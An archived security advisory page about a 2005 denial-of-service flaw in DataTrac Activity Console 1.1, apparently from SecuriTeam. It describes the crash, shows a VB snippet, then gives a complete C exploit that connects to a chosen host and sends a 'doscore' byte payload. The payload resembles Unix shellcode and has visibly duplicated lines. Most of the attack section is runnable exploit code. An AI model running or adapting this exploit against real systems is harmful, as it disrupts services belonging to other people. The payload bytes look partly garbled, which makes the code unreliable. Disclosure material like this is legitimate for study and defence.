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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	DataTrac Activity Console DoS 8 May 2005    Summary DataTrac is "an application that uses the Winsock component to bind a port from one machine to another, according to your specifications". The lack of parameter validation in DataTrac allows attackers to cause a denial of service in DataTrac that will cause the program to hang.   Credit: The information has been provided by Eric Basher. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * DataTrac version 1.1 The program provides the functionality of forwarding a particular port's TCP traffic from one computer to another with 2 separate Winsock objects. The program also provides functionality to monitor and record all data passed through, and automatically reconfigure itself for another connection attempt when one has closed. All data is logged with the source IP. A denial of service occurs when a very long text string is sent to the service data application. By sending a specially crafted request to the program it is possible to cause the program to crash. Proof of Concept: 'Source code Form1.frm Private Sub rsource_DataArrival(ByVal bytesTotal As Long)   rsource.GetData outdatabuffer   rdest.SendData outdatabuffer ' vulnerable string   text4.Text = text4.Text & outdatabuffer   outdatabuffer = "" End Sub When connect try to send GET request ,the source debug code will show display: 'Run-time error '40006'; Wrong protocol or connection state for the requested transaction or request The out data-buffer is doesn't have a response to handle from incoming request. This cause the program to stop responding/shutting-down. Exploit: /*    DataTrac Activity Console DoS Exploit ----------------------------------------   INFGP - Hacking&security Research Resolve host... [OK]  [+] Connecting... [OK] Target locked Sending bad procedure... [OK]  [+] Server DoS'ed  Greats: Infam0us Gr0up,Yudha(mephisthopeles),Kavling Community,  1st Indonesian Security,Jasakom,ECHO,etc..betst reagrds t0 whell.  Info: 98.to/infamous */ #include <string.h> #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") char doscore[] = "\xeb\x6e\x5e\x29\xc0\x89\x46\x10" "\x40\x89\xc3\x89\x46\x0c\x40\x89" "\x46\x08\x8d\x4e\x08\xb0\x66\xcd" "\x40\x89\xc3\x89\x46\x0c\x40\x89" "\x46\x08\x8d\x4e\x08\xb0\x66\xcd" "\x80\x43\xc6\x46\x10\x10\x88\x46" "\x08\x31\xc0\x31\xd2\x89\x46\x18" "\xb0\x90\x66\x89\x46\x16\x8d\x4e" "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0" "\x66\xcd\x80\x89\x5e\x0c\x43\x43" "\xb0\x66\xcd\x80\x89\x56\x0c\x89" "\x08\x31\xc0\x31\xd2\x89\x46\x18" "\xb0\x90\x66\x89\x46\x16\x8d\x4e" "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0" "\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0" "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0" "\x66\xcd\x80\x89\x5e\x0c\x43\x43" "\xb0\x66\xcd\x80\x89\x56\x0c\x89" "\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0" "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd" "\x80\x88\x56\x07\x89\x76\x0c\x87" "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80" "\xe8\x8d\xff\xff"; int main(int argc, char *argv[]) {   WSADATA wsaData;   WORD wVersionRequested;   struct hostent *pTarget;   struct sockaddr_in sock;   char *target;   int port,bufsize;   SOCKET inetdos;   if (argc < 2)   {     printf(" DataTrac Activity Console DoS Exploit \n", argv[0]);     printf(" ------------------------------------------\n", argv[0]);     printf(" INFGP - Hacking&Security Research\n\n", argv[0]);     printf("[-]Usage: %s [target] [source port]\n", argv[0]);     printf("[?]Exam: %s localhost 13\n", argv[0]);     exit(1);   }   wVersionRequested = MAKEWORD(1, 1);   if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;   target = argv[1];   port = 80;   if (argc >= 3) port = atoi(argv[2]);   bufsize = 1024;   if (argc >= 4) bufsize = atoi(argv[3]);   inetdos = socket(AF_INET, SOCK_STREAM, 0);   if(inetdos==INVALID_SOCKET)   {     printf("Socket ERROR \n");     exit(1);   }   printf(" DataTrac Activity Console DoS Exploit \n", argv[0]);   printf(" ------------------------------------------\r\n\n", argv[0]);   printf("Resolve host... ");      if ((pTarget = gethostbyname(target)) == NULL)   {     printf("FAILED \n", argv[0]);     exit(1);   }      printf("[OK]\n ");   memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);   sock.sin_family = AF_INET;   sock.sin_port = htons((USHORT)port);   printf("[+] Connecting... ");   if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))   {     printf("FAILED\n");     exit(1);   }      printf("[OK]\n");   printf("Target locked\n");   printf("Sending bad procedure... ");      if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)   {     printf("ERROR\n");     closesocket(inetdos);     exit(1);   }      printf("[OK]\n ");   printf("[+] Server DoS'ed\n");   closesocket(inetdos);   WSACleanup();   return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Novell Zenworks Software Packaging LaunchHelp.dll Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Microsoft Internet Explorer swapNode Handling Code Execution Vulnerability Microsoft Internet Explorer Select Element Insufficient Type Checking Code Execution Vulnerability Internet Explorer Select Element Cache Code Execution Vulnerability Microsoft Office Graph DataFormat Signed Index Code Execution Vulnerability Microsoft Office Excel Conditional Expression Ptg Type Confusion Vulnerability Microsoft Internet Explorer Protected Mode Bypass Vulnerability Microsoft Internet Explorer 9 STYLE Object Parsing Code Execution Vulnerability Microsoft Internet Explorer XSLT SetViewSlave Code Execution Vulnerability CA Total Defense Suite Gateway Security Malformed HTTP Packet Code Execution Vulnerability HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Code Execution Vulnerability TrendMicro Control Manager CASProcessor.exe BLOB Code Execution Vulnerability Symantec Veritas Storage Foundation vxsvc.exe Unicode Code Execution Vulnerability HP iNode Management Center iNodeMngChecker.exe Code Execution Vulnerability  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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